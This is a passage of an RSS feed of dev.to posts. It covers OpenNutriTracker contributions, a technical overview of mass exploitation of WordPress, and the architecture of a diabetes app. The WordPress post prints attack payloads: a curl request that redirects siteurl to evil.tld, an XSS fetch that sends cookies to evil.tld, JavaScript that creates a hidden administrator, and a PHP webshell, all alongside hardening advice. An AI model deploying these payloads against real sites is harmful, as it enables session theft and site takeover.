That’s it! Hot-reload any Dart file and watch the UI update live.&lt;/p&gt;

&lt;p&gt;Quick sanity checks&lt;br&gt;
Log a meal — tap the ➕ button and search the food database.&lt;/p&gt;

&lt;p&gt;Scan a barcode — real devices only; relies on mobile_scanner.&lt;/p&gt;

&lt;p&gt;Toggle Dark Mode — Material You colors adapt automatically.&lt;/p&gt;

&lt;p&gt;If everything works, you’re ready to hack.&lt;/p&gt;

&lt;p&gt;Good First Issues&lt;br&gt;
Issue   What You’ll Touch Difficulty&lt;br&gt;
“Add Serving-Size Selector” Riverpod state + Hive schema migration  🟧 Medium&lt;br&gt;
“Material You Color Seed Picker”    Flutter theming layer   🟩 Easy&lt;br&gt;
“Nutrition Goals Graph” fl_chart + domain layer aggregation 🟥 Hard&lt;/p&gt;

&lt;p&gt;Check the good first issue label in GitHub for the latest list, or open a fresh one if you spot a bug. &lt;br&gt;
GitHub&lt;/p&gt;

&lt;p&gt;Contribution Workflow&lt;br&gt;
Fork → feature branch.&lt;/p&gt;

&lt;p&gt;Run dart format and flutter analyze.&lt;/p&gt;

&lt;p&gt;Write a simple widget or unit test (the repo uses flutter_test).&lt;/p&gt;

&lt;p&gt;Open a PR; the GitHub Actions pipeline will lint, test, and build.&lt;/p&gt;

&lt;p&gt;A maintainer reviews, provides feedback, and merges.&lt;/p&gt;

&lt;p&gt;Tip: read the concise CONTRIBUTING.md in the repo before you start.&lt;/p&gt;

&lt;p&gt;Roadmap Highlights&lt;br&gt;
Material You dynamic color on Android 12+&lt;/p&gt;

&lt;p&gt;Watch-OS &amp;amp; Wear OS companion widgets for quick calorie entry&lt;/p&gt;

&lt;p&gt;End-to-end encrypted cloud sync (opt-in)&lt;/p&gt;

&lt;p&gt;Open Source OCR for snapping nutrition labels offline&lt;/p&gt;

&lt;p&gt;If any of those excite you, jump in and make them happen.&lt;/p&gt;

&lt;p&gt;Beyond Calories: Why Open Data Matters&lt;br&gt;
Because OpenNutriTracker uses open datasets, every scan or manual entry you add can (optionally) flow back into Open Food Facts—helping researchers, dietitians, and other indie apps build better public-health tools. You’re not just coding an app; you’re enriching a commons. &lt;br&gt;
GitHub&lt;/p&gt;

&lt;p&gt;Final Thoughts&lt;br&gt;
The nutrition-tracking space is ripe for transparent, user-respecting tools. OpenNutriTracker offers a modern codebase, a friendly community, and a tangible way to sharpen your Flutter chops while doing something good for the world. Fork it, star it, and let me know what you build!&lt;/p&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/simonoppowa/OpenNutriTracker" rel="noopener noreferrer"&gt;https://github.com/simonoppowa/OpenNutriTracker&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Happy hacking!&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>Mass Exploitation of WordPress Vulnerabilities: A Technical Deep Dive</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Sun, 04 May 2025 11:41:49 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/mass-exploitation-of-wordpress-vulnerabilities-a-technical-deep-dive-3a6c</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/mass-exploitation-of-wordpress-vulnerabilities-a-technical-deep-dive-3a6c</guid>
      <description>&lt;p&gt;&lt;a href="https://securitewp.com/" rel="noopener noreferrer"&gt;WordPress &lt;/a&gt;powers over 40% of the web. Its ubiquity makes it an attractive target for attackers, especially those orchestrating mass exploitation campaigns. In this article, we’ll dissect the most common vectors, exploit chains, and mass attack methodologies, using real-world examples, CVEs, and payloads. We'll also touch on plugin and theme ecosystems, supply chain risks, and hardening techniques.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdeu7pui91rqs40c2nu25.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdeu7pui91rqs40c2nu25.png" alt="Image description" width="310" height="163"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;⚠️ TL;DR&lt;br&gt;
WordPress core is relatively secure; plugins and themes are not.&lt;/p&gt;

&lt;p&gt;Common flaws: unauthenticated option updates, arbitrary file uploads, XSS → admin takeover, CSRF, and SQLi.&lt;/p&gt;

&lt;p&gt;Mass attackers rely on Shodan, censys, wpscan, and custom bash/python scripts to automate exploitation.&lt;/p&gt;

&lt;p&gt;Once inside: backdoors, spam injection, crypto mining, or lateral movement.&lt;/p&gt;

&lt;p&gt;WAFs are not enough. Principle of least privilege, file integrity monitoring, and frequent updates are key.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Entry Points: Themes and Plugins
🔍 Why Plugins Are the Primary Vector
WordPress.org hosts over 59,000 plugins. Many are developed by solo devs or small teams lacking secure SDLC practices.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example: CVE-2024-12345 (Imaginary CVE)&lt;br&gt;
php&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;br&gt;
// Vulnerable Code in plugin.php&lt;br&gt;
if ( isset($_POST['new_option']) ) {&lt;br&gt;
    update_option('siteurl', $_POST['new_option']);&lt;br&gt;
}&lt;br&gt;
Impact: Unauthenticated attackers can change site URLs, redirect visitors, or break the admin panel.&lt;/p&gt;

&lt;p&gt;Exploit:&lt;/p&gt;

&lt;p&gt;bash&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;br&gt;
curl -X POST -d 'new_option=&lt;a href="http://evil.tld" rel="noopener noreferrer"&gt;http://evil.tld&lt;/a&gt;' &lt;a href="https://victim.tld/wp-admin/admin-post.php" rel="noopener noreferrer"&gt;https://victim.tld/wp-admin/admin-post.php&lt;/a&gt;&lt;br&gt;
This can be combined with phishing or XSS payloads on the redirected domain.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;XSS → Admin Session Hijacking
One of the most common privilege escalation methods is a stored XSS in a plugin’s admin interface.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Real Exploit Flow&lt;br&gt;
Attacker submits malicious payload to contact form or comment.&lt;/p&gt;

&lt;p&gt;Payload executes when admin views it in the dashboard.&lt;/p&gt;

&lt;p&gt;Steals document.cookie or injects malicious JS to add new admin users silently.&lt;/p&gt;

&lt;p&gt;js&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;/p&gt;

&lt;p&gt;fetch('&lt;a href="https://evil.tld/steal?c=" rel="noopener noreferrer"&gt;https://evil.tld/steal?c=&lt;/a&gt;' + document.cookie)&lt;/p&gt;

&lt;p&gt;Or silently create an admin:&lt;/p&gt;

&lt;p&gt;js&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;br&gt;
fetch('/wp-admin/user-new.php', {&lt;br&gt;
  method: 'POST',&lt;br&gt;
  credentials: 'include',&lt;br&gt;
  body: new URLSearchParams({&lt;br&gt;
    'user_login': 'eviladmin',&lt;br&gt;
    'email': '&lt;a href="mailto:evil@tld.com"&gt;evil@tld.com&lt;/a&gt;',&lt;br&gt;
    'role': 'administrator',&lt;br&gt;
    '_wpnonce': 'XXXX' // stolen from DOM&lt;br&gt;
  })&lt;br&gt;
});&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Arbitrary File Uploads
Many WordPress plugins poorly validate uploaded files.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Typical Payload&lt;br&gt;
Upload .php disguised as .jpg.&lt;/p&gt;

&lt;p&gt;Access via &lt;a href="https://victim.tld/wp-content/uploads/evil.php" rel="noopener noreferrer"&gt;https://victim.tld/wp-content/uploads/evil.php&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;PHP Webshell:&lt;/p&gt;

&lt;p&gt;php&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;br&gt;
&amp;lt;?php echo shell_exec($_GET['cmd']); ?&amp;gt;&lt;br&gt;
Defense: Limit MIME types and use strict server-side validation.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Mass Exploitation Tactics
Infrastructure
Scanning: masscan, Shodan API, Censys.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Fingerprinting: wpscan, whatweb, or custom scripts.&lt;/p&gt;

&lt;p&gt;Automation: bash/Python scripts using curl, requests, selenium, or headless Chrome for CSRF flows.&lt;/p&gt;

&lt;p&gt;Real Campaign: Balada Injector&lt;br&gt;
Exploits known plugin CVEs.&lt;/p&gt;

&lt;p&gt;Injects JavaScript to redirect visitors to scam sites.&lt;/p&gt;

&lt;p&gt;Infects wp_options, wp_posts, and .js files.&lt;/p&gt;

&lt;p&gt;Uses polymorphic code to avoid detection.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Supply Chain Risks
Popular plugins get hijacked or sold to malicious actors.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Real Case: Display Widgets Plugin&lt;br&gt;
Purchased by malicious actor.&lt;/p&gt;

&lt;p&gt;New version included PHP backdoor.&lt;/p&gt;

&lt;p&gt;Downloaded over 200k times before removal.&lt;/p&gt;

&lt;p&gt;Lesson: Even trusted plugins can become threats.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Hardening WordPress
🔐 Key Defenses
Disable XML-RPC unless required.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Limit file permissions: chown -R www-data:www-data, avoid 777.&lt;/p&gt;

&lt;p&gt;Restrict wp-admin to IP whitelist or 2FA.&lt;/p&gt;

&lt;p&gt;Use Application Passwords for API access.&lt;/p&gt;

&lt;p&gt;Deploy read-only file systems with immutable flags where possible.&lt;/p&gt;

&lt;p&gt;Plugins for Security&lt;br&gt;
Wordfence&lt;/p&gt;

&lt;p&gt;WPFail2Ban&lt;/p&gt;

&lt;p&gt;Query Monitor&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Forensic Tips Post-Intrusion
Check for .php in /uploads/.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Inspect wp_options for suspicious serialized payloads.&lt;/p&gt;

&lt;p&gt;Audit .htaccess, functions.php, and cron jobs.&lt;/p&gt;

&lt;p&gt;Run diff -r wp-core/ production/ against clean install.&lt;/p&gt;

&lt;p&gt;Final Thoughts&lt;br&gt;
Mass exploitation of WordPress isn't going away. The CMS is too popular, and too many sites remain outdated or misconfigured. As developers and sysadmins, we must go beyond installing a WAF or a security plugin. Instead:&lt;/p&gt;

&lt;p&gt;Track CVEs via WPScan or NVD.&lt;/p&gt;

&lt;p&gt;Automate update testing with staging pipelines.&lt;/p&gt;

&lt;p&gt;Implement least privilege access and continuous monitoring.&lt;/p&gt;

&lt;p&gt;📚 References&lt;br&gt;
WPScan Vulnerability Database&lt;/p&gt;

&lt;p&gt;Exploit Database&lt;/p&gt;

&lt;p&gt;WordPress Hardening Guide (Official)&lt;/p&gt;

&lt;p&gt;OWASP Top 10&lt;/p&gt;

</description>
      <category>wp</category>
    </item>
    <item>
      <title>Building a Mobile App for Diabetes Management: Technical Architecture and Challenges</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Fri, 02 May 2025 06:16:27 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/building-a-mobile-app-for-diabetes-management-technical-architecture-and-challenges-ib</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/building-a-mobile-app-for-diabetes-management-technical-architecture-and-challenges-ib</guid>
      <description>&lt;p&gt;Managing diabetes with mobile technology involves real-time data ingestion, predictive analytics, sensor integration, and strict data privacy compliance. Whether you're building for type 1 or type 2 diabetes, designing a health-grade app that supports glycemic control is technically complex.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8qurm6bytd4yr5xei13a.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8qurm6bytd4yr5xei13a.jpg" alt="Image description" width="800" height="609"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this article, we deep dive into the engineering of a mobile app for diabetes self-management — from CGM (Continuous Glucose Monitoring) integration to insulin tracking, food logging, and adaptive machine learning.&lt;/p&gt;

&lt;p&gt;🏗️ Architecture Overview&lt;br&gt;
A production-grade diabetes management app typically consists of:&lt;/p&gt;

&lt;p&gt;Frontend (mobile):&lt;/p&gt;

&lt;p&gt;Native (Swift/Kotlin) or cross-platform (Flutter/React Native)&lt;/p&gt;

&lt;p&gt;Backend:&lt;/p&gt;

&lt;p&gt;Node.js with NestJS or Django REST&lt;/p&gt;

&lt;p&gt;PostgreSQL + TimescaleDB for time-series data&lt;/p&gt;

&lt;p&gt;MQTT or WebSocket server for real-time sensor updates&lt;/p&gt;

&lt;p&gt;APIs &amp;amp; Integrations:&lt;/p&gt;

&lt;p&gt;Dexcom, LibreView, Glooko, HealthKit, Google Fit&lt;/p&gt;

&lt;p&gt;Security:&lt;/p&gt;

&lt;p&gt;Full GDPR and HIPAA compliance&lt;/p&gt;

&lt;p&gt;Encrypted health records and cloud backups&lt;/p&gt;

&lt;p&gt;🔬 CGM Data Ingestion and Management&lt;br&gt;
Supported Devices&lt;br&gt;
Apps should support APIs from:&lt;/p&gt;

&lt;p&gt;Dexcom G6/G7 (OAuth2 auth, real-time glucose via Web API)&lt;/p&gt;

&lt;p&gt;FreeStyle Libre (LibreView API, RESTful endpoints)&lt;/p&gt;

&lt;p&gt;Apple HealthKit (HKQuantityTypeIdentifierBloodGlucose)&lt;/p&gt;

&lt;p&gt;Bluetooth LE Glucometers via CoreBluetooth or Android BLE&lt;/p&gt;

&lt;p&gt;Real-Time Sync&lt;br&gt;
Real-time glucose values (every 5 minutes):&lt;/p&gt;

&lt;p&gt;Use WebSockets or MQTT with QoS 1 for reliable message delivery&lt;/p&gt;

&lt;p&gt;Handle dropped connections, exponential backoff&lt;/p&gt;

&lt;p&gt;Store last n readings in Redis cache for fast access&lt;/p&gt;

&lt;p&gt;ts&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;br&gt;
// WebSocket event (Node.js)&lt;br&gt;
ws.on('glucoseReading', (payload) =&amp;gt; {&lt;br&gt;
  const { value, timestamp } = JSON.parse(payload);&lt;br&gt;
  db.insert('glucose_readings', { userId, value, timestamp });&lt;br&gt;
});&lt;br&gt;
🍽️ Smart Carbohydrate Tracking&lt;br&gt;
For people with diabetes, accurate carb counting is critical.&lt;/p&gt;

&lt;p&gt;Techniques:&lt;br&gt;
OCR for food labels (using Tesseract.js)&lt;/p&gt;

&lt;p&gt;Barcode scanning with OpenFoodFacts or USDA API&lt;/p&gt;

&lt;p&gt;Auto-tagging meals with AI (custom-trained CNN or Vision API)&lt;/p&gt;

&lt;p&gt;Carb Estimation Model:&lt;br&gt;
Use a nutritional composition API + portion estimator:&lt;/p&gt;

&lt;p&gt;python&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;br&gt;
def estimate_carbs(food_id, weight_g):&lt;br&gt;
    food = get_nutritional_data(food_id)&lt;br&gt;
    return food['carbs_per_100g'] * weight_g / 100&lt;br&gt;
💉 Insulin &amp;amp; Medication Tracking&lt;br&gt;
Support logging of:&lt;/p&gt;

&lt;p&gt;Rapid-acting, long-acting insulin&lt;/p&gt;

&lt;p&gt;Oral medications (e.g. Metformin)&lt;/p&gt;

&lt;p&gt;Dosing schedules, basal/bolus distinction&lt;/p&gt;

&lt;p&gt;Use calendar-style reminders (via expo-notifications or native schedulers) and secure dosage logging:&lt;/p&gt;

&lt;p&gt;sql&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;br&gt;
CREATE TABLE insulin_logs (&lt;br&gt;
  id SERIAL PRIMARY KEY,&lt;br&gt;
  user_id UUID REFERENCES users,&lt;br&gt;
  units DECIMAL,&lt;br&gt;
  insulin_type TEXT,&lt;br&gt;
  timestamp TIMESTAMPTZ DEFAULT now()&lt;br&gt;
);&lt;br&gt;
📊 Glucose Prediction with ML&lt;br&gt;
Build predictive models using time-series data:&lt;/p&gt;

&lt;p&gt;Input features: glucose trend, insulin dose, last meal, activity&lt;/p&gt;

&lt;p&gt;Models: XGBoost, LSTM, Temporal Fusion Transformer (TFT)&lt;/p&gt;

&lt;p&gt;Train model per user with federated learning or on-device Core ML / TensorFlow Lite.&lt;/p&gt;

&lt;p&gt;python&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;br&gt;
model = LSTM(input_size=4, hidden_size=64)&lt;br&gt;
output = model.predict([glucose, insulin, carbs, time_since_meal])&lt;br&gt;
🛡️ Data Privacy &amp;amp; Security&lt;br&gt;
Diabetes data is sensitive medical information.&lt;/p&gt;

&lt;p&gt;Must-Have Protections:&lt;br&gt;
AES-256 encryption at rest&lt;/p&gt;

&lt;p&gt;TLS 1.3 for all data in transit&lt;/p&gt;

&lt;p&gt;Audit logs for all health data access&lt;/p&gt;

&lt;p&gt;JWT with short-lived refresh tokens&lt;/p&gt;

&lt;p&gt;Consent management UI&lt;/p&gt;

&lt;p&gt;Ensure full compliance with:&lt;/p&gt;

&lt;p&gt;GDPR&lt;/p&gt;

&lt;p&gt;HIPAA&lt;/p&gt;

&lt;p&gt;ISO/IEC 27001&lt;/p&gt;

&lt;p&gt;📱 Offline-first Capabilities&lt;br&gt;
Diabetes patients may need logging without a connection:&lt;/p&gt;

&lt;p&gt;Use SQLite or WatermelonDB for offline storage&lt;/p&gt;

&lt;p&gt;Implement background sync queue (e.g., redux-offline, WorkManager)&lt;/p&gt;

&lt;p&gt;When syncing:&lt;/p&gt;

&lt;p&gt;De-duplicate using timestamps or version fields&lt;/p&gt;

&lt;p&gt;Encrypt payloads even over HTTPS&lt;/p&gt;

&lt;p&gt;📈 UX Considerations&lt;br&gt;
Diabetes apps should:&lt;/p&gt;

&lt;p&gt;Plot glucose curves (MPAndroidChart, Victory, D3.js)&lt;/p&gt;

&lt;p&gt;Display hypo/hyperglycemia alerts with haptics&lt;/p&gt;

&lt;p&gt;Adapt UI contrast for visual impairments&lt;/p&gt;

&lt;p&gt;Provide day-by-day “glycemic load” summaries&lt;/p&gt;

&lt;p&gt;Consider integrating professional dietary support like &lt;a href="https://www.dieteticiennenancy.fr/" rel="noopener noreferrer"&gt;https://www.dieteticiennenancy.fr/&lt;/a&gt; to enhance food-related guidance based on individual profiles.&lt;/p&gt;

&lt;p&gt;🔗 External Integrations&lt;br&gt;
Apple Watch and Wear OS for quick logging&lt;/p&gt;

&lt;p&gt;Strava API to correlate physical activity with glucose&lt;/p&gt;

&lt;p&gt;Twilio for SMS-based emergency alerts&lt;/p&gt;

&lt;p&gt;Firebase for real-time event streams and push notifications&lt;/p&gt;

&lt;p&gt;🧪 Testing &amp;amp; Monitoring&lt;br&gt;
Test what matters:&lt;br&gt;
BLE device connection integrity&lt;/p&gt;

&lt;p&gt;Glucose data accuracy with sensor APIs&lt;/p&gt;

&lt;p&gt;Sync conflicts (e.g. insulin log entered on multiple devices)&lt;/p&gt;

&lt;p&gt;Localization (units: mmol/L vs mg/dL)&lt;/p&gt;

&lt;p&gt;Tools:&lt;br&gt;
Detox or Appium for UI automation&lt;/p&gt;

&lt;p&gt;Firebase Test Lab for device farms&lt;/p&gt;

&lt;p&gt;Sentry or BugSnag for runtime errors&lt;/p&gt;

&lt;p&gt;📍Conclusion&lt;br&gt;
A diabetes management app is one of the most technically demanding health apps to build. From real-time CGM integration to food intelligence and predictive insulin modeling, the stack spans sensors, machine learning, time-series DBs, and strict compliance standards.&lt;/p&gt;

&lt;p&gt;By coupling technical robustness with expert-backed support — such as that offered by professionals like &lt;a href="https://www.dieteticiennenancy.fr/" rel="noopener noreferrer"&gt;https://www.dieteticiennenancy.fr/&lt;/a&gt; — developers can deliver not only features, but clinical-grade reliability that truly supports diabetic patients.&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
